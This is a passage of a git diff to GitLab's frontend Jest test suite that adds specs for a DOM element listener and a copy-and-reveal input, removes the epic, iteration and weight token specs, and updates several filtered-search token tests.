TRANSITION_LOAD_START,
@@ -11,15 +12,13 @@ import {
} from '~/diffs/constants';
import Renamed from '~/vue_shared/components/diff_viewer/viewers/renamed.vue';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
function createRenamedComponent({ props = {}, store = new Vuex.Store({}), deep = false }) {
const mnt = deep ? mount : shallowMount;
return mnt(Renamed, {
propsData: { ...props },
- localVue,
store,
});
}
diff --git a/spec/frontend/vue_shared/components/dismissible_alert_spec.js b/spec/frontend/vue_shared/components/dismissible_alert_spec.js
index fcd004d35a7..879d4aba441 100644
--- a/spec/frontend/vue_shared/components/dismissible_alert_spec.js
+++ b/spec/frontend/vue_shared/components/dismissible_alert_spec.js
@@ -43,6 +43,10 @@ describe('vue_shared/components/dismissible_alert', () => {
it('hides the alert', () => {
expect(findAlert().exists()).toBe(false);
});
+
+ it('emmits alertDismissed', () => {
+ expect(wrapper.emitted('alertDismissed')).toBeTruthy();
+ });
});
});
diff --git a/spec/frontend/vue_shared/components/dom_element_listener_spec.js b/spec/frontend/vue_shared/components/dom_element_listener_spec.js
new file mode 100644
index 00000000000..a848c34b7ce
--- /dev/null
+++ b/spec/frontend/vue_shared/components/dom_element_listener_spec.js
@@ -0,0 +1,116 @@
+import { mount } from '@vue/test-utils';
+import { setHTMLFixture } from 'helpers/fixtures';
+import DomElementListener from '~/vue_shared/components/dom_element_listener.vue';
+
+const DEFAULT_SLOT_CONTENT = 'Default slot content';
+const SELECTOR = '.js-test-include';
+const HTML = `
+<div>
+ <button class="js-test-include" data-testid="lorem">Lorem</button>
+ <button class="js-test-include" data-testid="ipsum">Ipsum</button>
+ <button data-testid="hello">Hello</a>
+</div>
+`;
+
+describe('~/vue_shared/components/dom_element_listener.vue', () => {
+ let wrapper;
+ let spies;
+
+ const createComponent = () => {
+ wrapper = mount(DomElementListener, {
+ propsData: {
+ selector: SELECTOR,
+ },
+ listeners: spies,
+ slots: {
+ default: DEFAULT_SLOT_CONTENT,
+ },
+ });
+ };
+
+ const findElement = (testId) => document.querySelector(`[data-testid="${testId}"]`);
+ const spiesCallCount = () =>
+ Object.values(spies)
+ .map((x) => x.mock.calls.length)
+ .reduce((a, b) => a + b);
+
+ beforeEach(() => {
+ setHTMLFixture(HTML);
+ spies = {
+ click: jest.fn(),
+ focus: jest.fn(),
+ };
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('default', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders default slot', () => {
+ expect(wrapper.text()).toBe(DEFAULT_SLOT_CONTENT);
+ });
+
+ it('does not initially trigger listeners', () => {
+ expect(spiesCallCount()).toBe(0);
+ });
+
+ describe.each`
+ event | testId
+ ${'click'} | ${'lorem'}
+ ${'focus'} | ${'ipsum'}
+ `(
+ 'when matching element triggers event (testId=$testId, event=$event)',
+ ({ event, testId }) => {
+ beforeEach(() => {
+ findElement(testId).dispatchEvent(new Event(event));
+ });
+
+ it('triggers listener', () => {
+ expect(spiesCallCount()).toBe(1);
+ expect(spies[event]).toHaveBeenCalledWith(expect.any(Event));
+ expect(spies[event]).toHaveBeenCalledWith(
+ expect.objectContaining({
+ target: findElement(testId),
+ }),
+ );
+ });
+ },
+ );
+
+ describe.each`
+ desc | event | testId
+ ${'when non-matching element triggers event'} | ${'click'} | ${'hello'}
+ ${'when matching element triggers unlistened event'} | ${'hover'} | ${'lorem'}
+ `('$desc', ({ event, testId }) => {
+ beforeEach(() => {
+ findElement(testId).dispatchEvent(new Event(event));
+ });
+
+ it('does not trigger listeners', () => {
+ expect(spiesCallCount()).toBe(0);
+ });
+ });
+ });
+
+ describe('after destroyed', () => {
+ beforeEach(() => {
+ createComponent();
+ wrapper.destroy();
+ });
+
+ describe('when matching element triggers event', () => {
+ beforeEach(() => {
+ findElement('lorem').dispatchEvent(new Event('click'));
+ });
+
+ it('does not trigger any listeners', () => {
+ expect(spiesCallCount()).toBe(0);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/file_icon_spec.js b/spec/frontend/vue_shared/components/file_icon_spec.js
index c10663f6c14..b0e623520a8 100644
--- a/spec/frontend/vue_shared/components/file_icon_spec.js
+++ b/spec/frontend/vue_shared/components/file_icon_spec.js
@@ -34,7 +34,7 @@ describe('File Icon component', () => {
it.each`
fileName | iconName
- ${'test.js'} | ${'javascript'}
+ ${'index.js'} | ${'javascript'}
${'test.png'} | ${'image'}
${'test.PNG'} | ${'image'}
${'.npmrc'} | ${'npm'}
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js b/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
index 238c5d16db5..e3e2ef5610d 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
@@ -5,12 +5,9 @@ import { OPERATOR_IS_ONLY } from '~/vue_shared/components/filtered_search_bar/co
import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
import BranchToken from '~/vue_shared/components/filtered_search_bar/tokens/branch_token.vue';
import EmojiToken from '~/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue';
-import EpicToken from '~/vue_shared/components/filtered_search_bar/tokens/epic_token.vue';
-import IterationToken from '~/vue_shared/components/filtered_search_bar/tokens/iteration_token.vue';
import LabelToken from '~/vue_shared/components/filtered_search_bar/tokens/label_token.vue';
import MilestoneToken from '~/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue';
import ReleaseToken from '~/vue_shared/components/filtered_search_bar/tokens/release_token.vue';
-import WeightToken from '~/vue_shared/components/filtered_search_bar/tokens/weight_token.vue';
export const mockAuthor1 = {
id: 1,
@@ -65,11 +62,6 @@ export const mockMilestones = [
mockEscapedMilestone,
];
-export const mockEpics = [
- { iid: 1, id: 1, title: 'Foo', group_full_path: 'gitlab-org' },
- { iid: 2, id: 2, title: 'Bar', group_full_path: 'gitlab-org/design' },
-];
-
export const mockEmoji1 = {
name: 'thumbsup',
};
@@ -102,27 +94,6 @@ export const mockAuthorToken = {
fetchAuthors: Api.projectUsers.bind(Api),
};
-export const mockIterationToken = {
- type: 'iteration',
- icon: 'iteration',
- title: 'Iteration',
- unique: true,
- token: IterationToken,
- fetchIterations: () => Promise.resolve(),
-};
-
-export const mockIterations = [
- {
- id: 1,
- title: 'Iteration 1',
- startDate: '2021-11-05',
- dueDate: '2021-11-10',
- iterationCadence: {
- title: 'Cadence 1',
- },
- },
-];
-
export const mockLabelToken = {
type: 'label_name',
icon: 'labels',
@@ -153,73 +124,6 @@ export const mockReleaseToken = {
fetchReleases: () => Promise.resolve(),
};
-export const mockEpicToken = {
- type: 'epic_iid',
- icon: 'clock',
- title: 'Epic',
- unique: true,
- symbol: '&',
- token: EpicToken,
- operators: OPERATOR_IS_ONLY,
- idProperty: 'iid',
- fullPath: 'gitlab-org',
-};
-
-export const mockEpicNode1 = {
- __typename: 'Epic',
- parent: null,
- id: 'gid://gitlab/Epic/40',
- iid: '2',
- title: 'Marketing epic',
- description: 'Mock epic description',
- state: 'opened',
- startDate: '2017-12-25',
- dueDate: '2018-02-15',
- webUrl: 'http://gdk.test:3000/groups/gitlab-org/marketing/-/epics/1',
- hasChildren: false,
- hasParent: false,
- confidential: false,
-};
-
-export const mockEpicNode2 = {
- __typename: 'Epic',
- parent: null,
- id: 'gid://gitlab/Epic/41',
- iid: '3',
- title: 'Another marketing',
- startDate: '2017-12-26',
- dueDate: '2018-03-10',
- state: 'opened',
- webUrl: 'http://gdk.test:3000/groups/gitlab-org/marketing/-/epics/2',
-};
-
-export const mockGroupEpicsQueryResponse = {
- data: {
- group: {
- id: 'gid://gitlab/Group/1',
- name: 'Gitlab Org',
- epics: {
- edges: [
- {
- node: {
- ...mockEpicNode1,
- },
- __typename: 'EpicEdge',
- },
- {
- node: {
- ...mockEpicNode2,
- },
- __typename: 'EpicEdge',
- },
- ],
- __typename: 'EpicConnection',
- },
- __typename: 'Group',
- },
- },
-};
-
export const mockReactionEmojiToken = {
type: 'my_reaction_emoji',
icon: 'thumb-up',
@@ -243,14 +147,6 @@ export const mockMembershipToken = {
],
};
-export const mockWeightToken = {
- type: 'weight',
- icon: 'weight',
- title: 'Weight',
- unique: true,
- token: WeightToken,
-};
-
export const mockMembershipTokenOptionsWithoutTitles = {
...mockMembershipToken,
options: [{ value: 'exclude' }, { value: 'only' }],
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js
index f9ce0338d2f..84f0151d9db 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js
@@ -14,7 +14,13 @@ import BaseToken from '~/vue_shared/components/filtered_search_bar/tokens/base_t
import { mockLabelToken } from '../mock_data';
-jest.mock('~/vue_shared/components/filtered_search_bar/filtered_search_utils');
+jest.mock('~/vue_shared/components/filtered_search_bar/filtered_search_utils', () => ({
+ getRecentlyUsedSuggestions: jest.fn(),
+ setTokenValueToRecentlyUsed: jest.fn(),
+ stripQuotes: jest.requireActual(
+ '~/vue_shared/components/filtered_search_bar/filtered_search_utils',
+ ).stripQuotes,
+}));
const mockStorageKey = 'recent-tokens-label_name';
@@ -46,13 +52,13 @@ const defaultSlots = {
};
const mockProps = {
- config: mockLabelToken,
+ config: { ...mockLabelToken, recentSuggestionsStorageKey: mockStorageKey },
value: { data: '' },
active: false,
suggestions: [],
suggestionsLoading: false,
defaultSuggestions: DEFAULT_NONE_ANY,
- recentSuggestionsStorageKey: mockStorageKey,
+ getActiveTokenValue: (labels, data) => labels.find((label) => label.title === data),
};
function createComponent({
@@ -152,30 +158,22 @@ describe('BaseToken', () => {
describe('methods', () => {
describe('handleTokenValueSelected', () => {
- it('calls `setTokenValueToRecentlyUsed` when `recentSuggestionsStorageKey` is defined', () => {
- const mockTokenValue = {
- id: 1,
- title: 'Foo',
- };
+ const mockTokenValue = mockLabels[0];
- wrapper.vm.handleTokenValueSelected(mockTokenValue);
+ it('calls `setTokenValueToRecentlyUsed` when `recentSuggestionsStorageKey` is defined', () => {
+ wrapper.vm.handleTokenValueSelected(mockTokenValue.title);
expect(setTokenValueToRecentlyUsed).toHaveBeenCalledWith(mockStorageKey, mockTokenValue);
});
it('does not add token from preloadedSuggestions', async () => {
- const mockTokenValue = {
- id: 1,
- title: 'Foo',
- };
-
wrapper.setProps({
preloadedSuggestions: [mockTokenValue],
});
await wrapper.vm.$nextTick();
- wrapper.vm.handleTokenValueSelected(mockTokenValue);
+ wrapper.vm.handleTokenValueSelected(mockTokenValue.title);
expect(setTokenValueToRecentlyUsed).not.toHaveBeenCalled();
});
@@ -190,7 +188,7 @@ describe('BaseToken', () => {
const glFilteredSearchToken = wrapperWithNoStubs.find(GlFilteredSearchToken);
expect(glFilteredSearchToken.exists()).toBe(true);
- expect(glFilteredSearchToken.props('config')).toBe(mockLabelToken);
+ expect(glFilteredSearchToken.props('config')).toEqual(mockProps.config);
wrapperWithNoStubs.destroy();
});
@@ -239,6 +237,7 @@ describe('BaseToken', () => {
stubs: { Portal: true },
});
});
+
it('emits `fetch-suggestions` event on component after a delay when component emits `input` event', async () => {
jest.useFakeTimers();
@@ -250,6 +249,32 @@ describe('BaseToken', () => {
expect(wrapperWithNoStubs.emitted('fetch-suggestions')).toBeTruthy();
expect(wrapperWithNoStubs.emitted('fetch-suggestions')[2]).toEqual(['foo']);
});
+
+ describe('when search is started with a quote', () => {
+ it('emits `fetch-suggestions` with filtered value', async () => {
+ jest.useFakeTimers();
+
+ wrapperWithNoStubs.find(GlFilteredSearchToken).vm.$emit('input', { data: '"foo' });
+ await wrapperWithNoStubs.vm.$nextTick();
+
+ jest.runAllTimers();
+
+ expect(wrapperWithNoStubs.emitted('fetch-suggestions')[2]).toEqual(['foo']);
+ });
+ });
+
+ describe('when search starts and ends with a quote', () => {
+ it('emits `fetch-suggestions` with filtered value', async () => {
+ jest.useFakeTimers();
+
+ wrapperWithNoStubs.find(GlFilteredSearchToken).vm.$emit('input', { data: '"foo"' });
+ await wrapperWithNoStubs.vm.$nextTick();
+
+ jest.runAllTimers();
+
+ expect(wrapperWithNoStubs.emitted('fetch-suggestions')[2]).toEqual(['foo']);
+ });
+ });
});
});
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js
deleted file mode 100644
index 6ee5d50d396..00000000000
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js
+++ /dev/null
@@ -1,169 +0,0 @@
-import { GlFilteredSearchTokenSegment } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import MockAdapter from 'axios-mock-adapter';
-import Vue from 'vue';
-import VueApollo from 'vue-apollo';
-import createMockApollo from 'helpers/mock_apollo_helper';
-import waitForPromises from 'helpers/wait_for_promises';
-import createFlash from '~/flash';
-import axios from '~/lib/utils/axios_utils';
-
-import searchEpicsQuery from '~/vue_shared/components/filtered_search_bar/queries/search_epics.query.graphql';
-import EpicToken from '~/vue_shared/components/filtered_search_bar/tokens/epic_token.vue';
-import BaseToken from '~/vue_shared/components/filtered_search_bar/tokens/base_token.vue';
-
-import { mockEpicToken, mockEpics, mockGroupEpicsQueryResponse } from '../mock_data';
-
-jest.mock('~/flash');
-Vue.use(VueApollo);
-
-const defaultStubs = {
- Portal: true,
- GlFilteredSearchSuggestionList: {
- template: '<div></div>',
- methods: {
- getValue: () => '=',
- },
- },
-};
-
-describe('EpicToken', () => {
- let mock;
- let wrapper;
- let fakeApollo;
-
- const findBaseToken = () => wrapper.findComponent(BaseToken);
-
- function createComponent(
- options = {},
- epicsQueryHandler = jest.fn().mockResolvedValue(mockGroupEpicsQueryResponse),
- ) {
- fakeApollo = createMockApollo([[searchEpicsQuery, epicsQueryHandler]]);
- const {
- config = mockEpicToken,
- value = { data: '' },
- active = false,
- stubs = defaultStubs,
- } = options;
- return mount(EpicToken, {
- apolloProvider: fakeApollo,
- propsData: {
- config,
- value,
- active,
- },
- provide: {
- portalName: 'fake target',
- alignSuggestions: function fakeAlignSuggestions() {},
- suggestionsListClass: 'custom-class',
- },
- stubs,
- });
- }
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- wrapper = createComponent();
- });
-
- afterEach(() => {
- mock.restore();
- wrapper.destroy();
- });
-
- describe('computed', () => {
- beforeEach(async () => {
- wrapper = createComponent({
- data: {
- epics: mockEpics,
- },
- });
-
- await wrapper.vm.$nextTick();
- });
- });
-
- describe('methods', () => {
- describe('fetchEpicsBySearchTerm', () => {
- it('calls fetchEpics with provided searchTerm param', () => {
- jest.spyOn(wrapper.vm, 'fetchEpics');
-
- findBaseToken().vm.$emit('fetch-suggestions', 'foo');
-
- expect(wrapper.vm.fetchEpics).toHaveBeenCalledWith('foo');
- });
-
- it('sets response to `epics` when request is successful', async () => {
- jest.spyOn(wrapper.vm, 'fetchEpics').mockResolvedValue({
- data: mockEpics,
- });
-
- findBaseToken().vm.$emit('fetch-suggestions');
-
- await waitForPromises();
-
- expect(wrapper.vm.epics).toEqual(mockEpics);
- });
-
- it('calls `createFlash` with flash error message when request fails', async () => {
- jest.spyOn(wrapper.vm, 'fetchEpics').mockRejectedValue({});
-
- findBaseToken().vm.$emit('fetch-suggestions', 'foo');
-
- await waitForPromises();
-
- expect(createFlash).toHaveBeenCalledWith({
- message: 'There was a problem fetching epics.',
- });
- });
-
- it('sets `loading` to false when request completes', async () => {
- jest.spyOn(wrapper.vm, 'fetchEpics').mockRejectedValue({});
-
- findBaseToken().vm.$emit('fetch-suggestions', 'foo');
-
- await waitForPromises();
-
- expect(wrapper.vm.loading).toBe(false);
- });
- });
- });
-
- describe('template', () => {
- const getTokenValueEl = () => wrapper.findAllComponents(GlFilteredSearchTokenSegment).at(2);
-
- beforeEach(async () => {
- wrapper = createComponent({
- value: { data: `${mockEpics[0].title}::&${mockEpics[0].iid}` },
- data: { epics: mockEpics },
- });
-
- await wrapper.vm.$nextTick();
- });
-
- it('renders BaseToken component', () => {
- expect(findBaseToken().exists()).toBe(true);
- });
-
- it('renders token item when value is selected', () => {
- const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
-
- expect(tokenSegments).toHaveLength(3);
- expect(tokenSegments.at(2).text()).toBe(`${mockEpics[0].title}::&${mockEpics[0].iid}`);
- });
-
- it.each`
- value | valueType | tokenValueString
- ${`${mockEpics[0].title}::&${mockEpics[0].iid}`} | ${'string'} | ${`${mockEpics[0].title}::&${mockEpics[0].iid}`}
- ${`${mockEpics[1].title}::&${mockEpics[1].iid}`} | ${'number'} | ${`${mockEpics[1].title}::&${mockEpics[1].iid}`}
- `('renders token item when selection is a $valueType', async ({ value, tokenValueString }) => {
- wrapper.setProps({
- value: { data: value },
- });
-
- await wrapper.vm.$nextTick();
-
- expect(getTokenValueEl().text()).toBe(tokenValueString);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/iteration_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/iteration_token_spec.js
deleted file mode 100644
index 44bc16adb97..00000000000
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/iteration_token_spec.js
+++ /dev/null
@@ -1,116 +0,0 @@
-import {
- GlFilteredSearchToken,
- GlFilteredSearchTokenSegment,
- GlFilteredSearchSuggestion,
-} from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import waitForPromises from 'helpers/wait_for_promises';
-import createFlash from '~/flash';
-import IterationToken from '~/vue_shared/components/filtered_search_bar/tokens/iteration_token.vue';
-import { mockIterationToken, mockIterations } from '../mock_data';
-
-jest.mock('~/flash');
-
-describe('IterationToken', () => {
- const id = 123;
- let wrapper;
-
- const createComponent = ({
- config = mockIterationToken,
- value = { data: '' },
- active = false,
- stubs = {},
- provide = {},
- } = {}) =>
- mount(IterationToken, {
- propsData: {
- active,
- config,
- value,
- },
- provide: {
- portalName: 'fake target',
- alignSuggestions: function fakeAlignSuggestions() {},
- suggestionsListClass: () => 'custom-class',
- ...provide,
- },
- stubs,
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when iteration cadence feature is available', () => {
- beforeEach(async () => {
- wrapper = createComponent({
- active: true,
- config: { ...mockIterationToken, initialIterations: mockIterations },
- value: { data: 'i' },
- stubs: { Portal: true },
- provide: {
- glFeatures: {
- iterationCadences: true,
- },
- },
- });
-
- await wrapper.setData({ loading: false });
- });
-
- it('renders iteration start date and due date', () => {
- const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
-
- expect(suggestions.at(3).text()).toContain('Nov 5, 2021 - Nov 10, 2021');
- });
- });
-
- it('renders iteration value', async () => {
- wrapper = createComponent({ value: { data: id } });
-
- await wrapper.vm.$nextTick();
-
- const tokenSegments = wrapper.findAllComponents(GlFilteredSearchTokenSegment);
-
- expect(tokenSegments).toHaveLength(3); // `Iteration` `=` `gitlab-org: #1`
- expect(tokenSegments.at(2).text()).toBe(id.toString());
- });
-
- it('fetches initial values', () => {
- const fetchIterationsSpy = jest.fn().mockResolvedValue();
-
- wrapper = createComponent({
- config: { ...mockIterationToken, fetchIterations: fetchIterationsSpy },
- value: { data: id },
- });
-
- expect(fetchIterationsSpy).toHaveBeenCalledWith(id);
- });
-
- it('fetches iterations on user input', () => {
- const search = 'hello';
- const fetchIterationsSpy = jest.fn().mockResolvedValue();
-
- wrapper = createComponent({
- config: { ...mockIterationToken, fetchIterations: fetchIterationsSpy },
- });
-
- wrapper.findComponent(GlFilteredSearchToken).vm.$emit('input', { data: search });
-
- expect(fetchIterationsSpy).toHaveBeenCalledWith(search);
- });
-
- it('renders error message when request fails', async () => {
- const fetchIterationsSpy = jest.fn().mockRejectedValue();
-
- wrapper = createComponent({
- config: { ...mockIterationToken, fetchIterations: fetchIterationsSpy },
- });
-
- await waitForPromises();
-
- expect(createFlash).toHaveBeenCalledWith({
- message: 'There was a problem fetching iterations.',
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js
index 936841651d1..4a098db33c5 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js
@@ -9,18 +9,15 @@ import MockAdapter from 'axios-mock-adapter';
import waitForPromises from 'helpers/wait_for_promises';
import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
-import { sortMilestonesByDueDate } from '~/milestones/milestone_utils';
+import { sortMilestonesByDueDate } from '~/milestones/utils';
-import {
- DEFAULT_MILESTONES,
- DEFAULT_MILESTONES_GRAPHQL,
-} from '~/vue_shared/components/filtered_search_bar/constants';
+import { DEFAULT_MILESTONES } from '~/vue_shared/components/filtered_search_bar/constants';
import MilestoneToken from '~/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue';
import { mockMilestoneToken, mockMilestones, mockRegularMilestone } from '../mock_data';
jest.mock('~/flash');
-jest.mock('~/milestones/milestone_utils');
+jest.mock('~/milestones/utils');
const defaultStubs = {
Portal: true,
@@ -199,12 +196,12 @@ describe('MilestoneToken', () => {
beforeEach(() => {
wrapper = createComponent({
active: true,
- config: { ...mockMilestoneToken, defaultMilestones: DEFAULT_MILESTONES_GRAPHQL },
+ config: { ...mockMilestoneToken, defaultMilestones: DEFAULT_MILESTONES },
});
});
it('finds the correct value from the activeToken', () => {
- DEFAULT_MILESTONES_GRAPHQL.forEach(({ value, title }) => {
+ DEFAULT_MILESTONES.forEach(({ value, title }) => {
const activeToken = wrapper.vm.getActiveMilestone([], value);
expect(activeToken.title).toEqual(title);
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/release_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/release_token_spec.js
index b804ff97b82..b2f246a5985 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/release_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/release_token_spec.js
@@ -8,7 +8,7 @@ import { mockReleaseToken } from '../mock_data';
jest.mock('~/flash');
describe('ReleaseToken', () => {
- const id = 123;
+ const id = '123';
let wrapper;
const createComponent = ({ config = mockReleaseToken, value = { data: '' } } = {}) =>
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/weight_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/weight_token_spec.js
deleted file mode 100644
index 4277899f8db..00000000000
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/weight_token_spec.js
+++ /dev/null
@@ -1,38 +0,0 @@
-import { GlFilteredSearchTokenSegment } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import WeightToken from '~/vue_shared/components/filtered_search_bar/tokens/weight_token.vue';
-import { mockWeightToken } from '../mock_data';
-
-jest.mock('~/flash');
-
-describe('WeightToken', () => {
- const weight = '3';
- let wrapper;
-
- const createComponent = ({ config = mockWeightToken, value = { data: '' } } = {}) =>
- mount(WeightToken, {
- propsData: {
- active: false,
- config,
- value,
- },
- provide: {
- portalName: 'fake target',
- alignSuggestions: function fakeAlignSuggestions() {},
- suggestionsListClass: () => 'custom-class',
- },
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders weight value', () => {
- wrapper = createComponent({ value: { data: weight } });
-
- const tokenSegments = wrapper.findAllComponents(GlFilteredSearchTokenSegment);
-
- expect(tokenSegments).toHaveLength(3); // `Weight` `=` `3`
- expect(tokenSegments.at(2).text()).toBe(weight);
- });
-});
diff --git a/spec/frontend/vue_shared/components/form/__snapshots__/title_spec.js.snap b/spec/frontend/vue_shared/components/form/__snapshots__/title_spec.js.snap
index ff1dad2de68..58ad1f681bc 100644
--- a/spec/frontend/vue_shared/components/form/__snapshots__/title_spec.js.snap
+++ b/spec/frontend/vue_shared/components/form/__snapshots__/title_spec.js.snap
@@ -5,6 +5,7 @@ exports[`Title edit field matches the snapshot 1`] = `
label="Title"
label-for="title-field-edit"
labeldescription=""
+ optionaltext="(optional)"
>
<gl-form-input-stub />
</gl-form-group-stub>
diff --git a/spec/frontend/vue_shared/components/form/input_copy_toggle_visibility_spec.js b/spec/frontend/vue_shared/components/form/input_copy_toggle_visibility_spec.js
new file mode 100644
index 00000000000..b67385cc43e
--- /dev/null
+++ b/spec/frontend/vue_shared/components/form/input_copy_toggle_visibility_spec.js
@@ -0,0 +1,231 @@
+import { merge } from 'lodash';
+import { GlFormInputGroup } from '@gitlab/ui';
+
+import InputCopyToggleVisibility from '~/vue_shared/components/form/input_copy_toggle_visibility.vue';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+
+describe('InputCopyToggleVisibility', () => {
+ let wrapper;
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const valueProp = 'hR8x1fuJbzwu5uFKLf9e';
+
+ const createComponent = (options = {}) => {
+ wrapper = mountExtended(
+ InputCopyToggleVisibility,
+ merge({}, options, {
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ }),
+ );
+ };
+
+ const findFormInputGroup = () => wrapper.findComponent(GlFormInputGroup);
+ const findFormInput = () => findFormInputGroup().find('input');
+ const findRevealButton = () =>
+ wrapper.findByRole('button', {
+ name: InputCopyToggleVisibility.i18n.toggleVisibilityLabelReveal,
+ });
+ const findHideButton = () =>
+ wrapper.findByRole('button', {
+ name: InputCopyToggleVisibility.i18n.toggleVisibilityLabelHide,
+ });
+ const findCopyButton = () => wrapper.findComponent(ClipboardButton);
+ const createCopyEvent = () => {
+ const event = new Event('copy', { cancelable: true });
+ Object.assign(event, { preventDefault: jest.fn(), clipboardData: { setData: jest.fn() } });
+
+ return event;
+ };
+
+ const itDoesNotModifyCopyEvent = () => {
+ it('does not modify copy event', () => {
+ const event = createCopyEvent();
+
+ findFormInput().element.dispatchEvent(event);
+
+ expect(event.clipboardData.setData).not.toHaveBeenCalled();
+ expect(event.preventDefault).not.toHaveBeenCalled();
+ });
+ };
+
+ describe('when `value` prop is passed', () => {
+ beforeEach(() => {
+ createComponent({
+ propsData: {
+ value: valueProp,
+ },
+ });
+ });
+
+ it('displays value as hidden', () => {
+ expect(findFormInputGroup().props('value')).toBe('********************');
+ });
+
+ it('saves actual value to clipboard when manually copied', () => {
+ const event = createCopyEvent();
+ findFormInput().element.dispatchEvent(event);
+
+ expect(event.clipboardData.setData).toHaveBeenCalledWith('text/plain', valueProp);
+ expect(event.preventDefault).toHaveBeenCalled();
+ });
+
+ describe('visibility toggle button', () => {
+ it('renders a reveal button', () => {
+ const revealButton = findRevealButton();
+
+ expect(revealButton.exists()).toBe(true);
+
+ const tooltip = getBinding(revealButton.element, 'gl-tooltip');
+
+ expect(tooltip.value).toBe(InputCopyToggleVisibility.i18n.toggleVisibilityLabelReveal);
+ });
+
+ describe('when clicked', () => {
+ beforeEach(async () => {
+ await findRevealButton().trigger('click');
+ });
+
+ it('displays value', () => {
+ expect(findFormInputGroup().props('value')).toBe(valueProp);
+ });
+
+ it('renders a hide button', () => {
+ const hideButton = findHideButton();
+
+ expect(hideButton.exists()).toBe(true);
+
+ const tooltip = getBinding(hideButton.element, 'gl-tooltip');
+
+ expect(tooltip.value).toBe(InputCopyToggleVisibility.i18n.toggleVisibilityLabelHide);
+ });
+
+ it('emits `visibility-change` event', () => {
+ expect(wrapper.emitted('visibility-change')[0]).toEqual([true]);
+ });
+ });
+ });
+
+ describe('copy button', () => {
+ it('renders button with correct props passed', () => {
+ expect(findCopyButton().props()).toMatchObject({
+ text: valueProp,
+ title: 'Copy',
+ });
+ });
+
+ describe('when clicked', () => {
+ beforeEach(async () => {
+ await findCopyButton().trigger('click');
+ });
+
+ it('emits `copy` event', () => {
+ expect(wrapper.emitted('copy')[0]).toEqual([]);
+ });
+ });
+ });
+ });
+
+ describe('when `value` prop is not passed', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('displays value as hidden with 20 asterisks', () => {
+ expect(findFormInputGroup().props('value')).toBe('********************');
+ });
+ });
+
+ describe('when `initialVisibility` prop is `true`', () => {
+ beforeEach(() => {
+ createComponent({
+ propsData: {
+ value: valueProp,
+ initialVisibility: true,
+ },
+ });
+ });
+
+ it('displays value', () => {
+ expect(findFormInputGroup().props('value')).toBe(valueProp);
+ });
+
+ itDoesNotModifyCopyEvent();
+ });
+
+ describe('when `showToggleVisibilityButton` is `false`', () => {
+ beforeEach(() => {
+ createComponent({
+ propsData: {
+ value: valueProp,
+ showToggleVisibilityButton: false,
+ },
+ });
+ });
+
+ it('does not render visibility toggle button', () => {
+ expect(findRevealButton().exists()).toBe(false);
+ expect(findHideButton().exists()).toBe(false);
+ });
+
+ it('displays value', () => {
+ expect(findFormInputGroup().props('value')).toBe(valueProp);
+ });
+
+ itDoesNotModifyCopyEvent();
+ });
+
+ describe('when `showCopyButton` is `false`', () => {
+ beforeEach(() => {
+ createComponent({
+ propsData: {
+ showCopyButton: false,
+ },
+ });
+ });
+
+ it('does not render copy button', () => {
+ expect(findCopyButton().exists()).toBe(false);
+ });
+ });
+
+ it('passes `formInputGroupProps` prop to `GlFormInputGroup`', () => {
+ createComponent({
+ propsData: {
+ formInputGroupProps: {
+ label: 'Foo bar',
+ },
+ },
+ });
+
+ expect(findFormInputGroup().props('label')).toBe('Foo bar');
+ });
+
+ it('passes `copyButtonTitle` prop to `ClipboardButton`', () => {
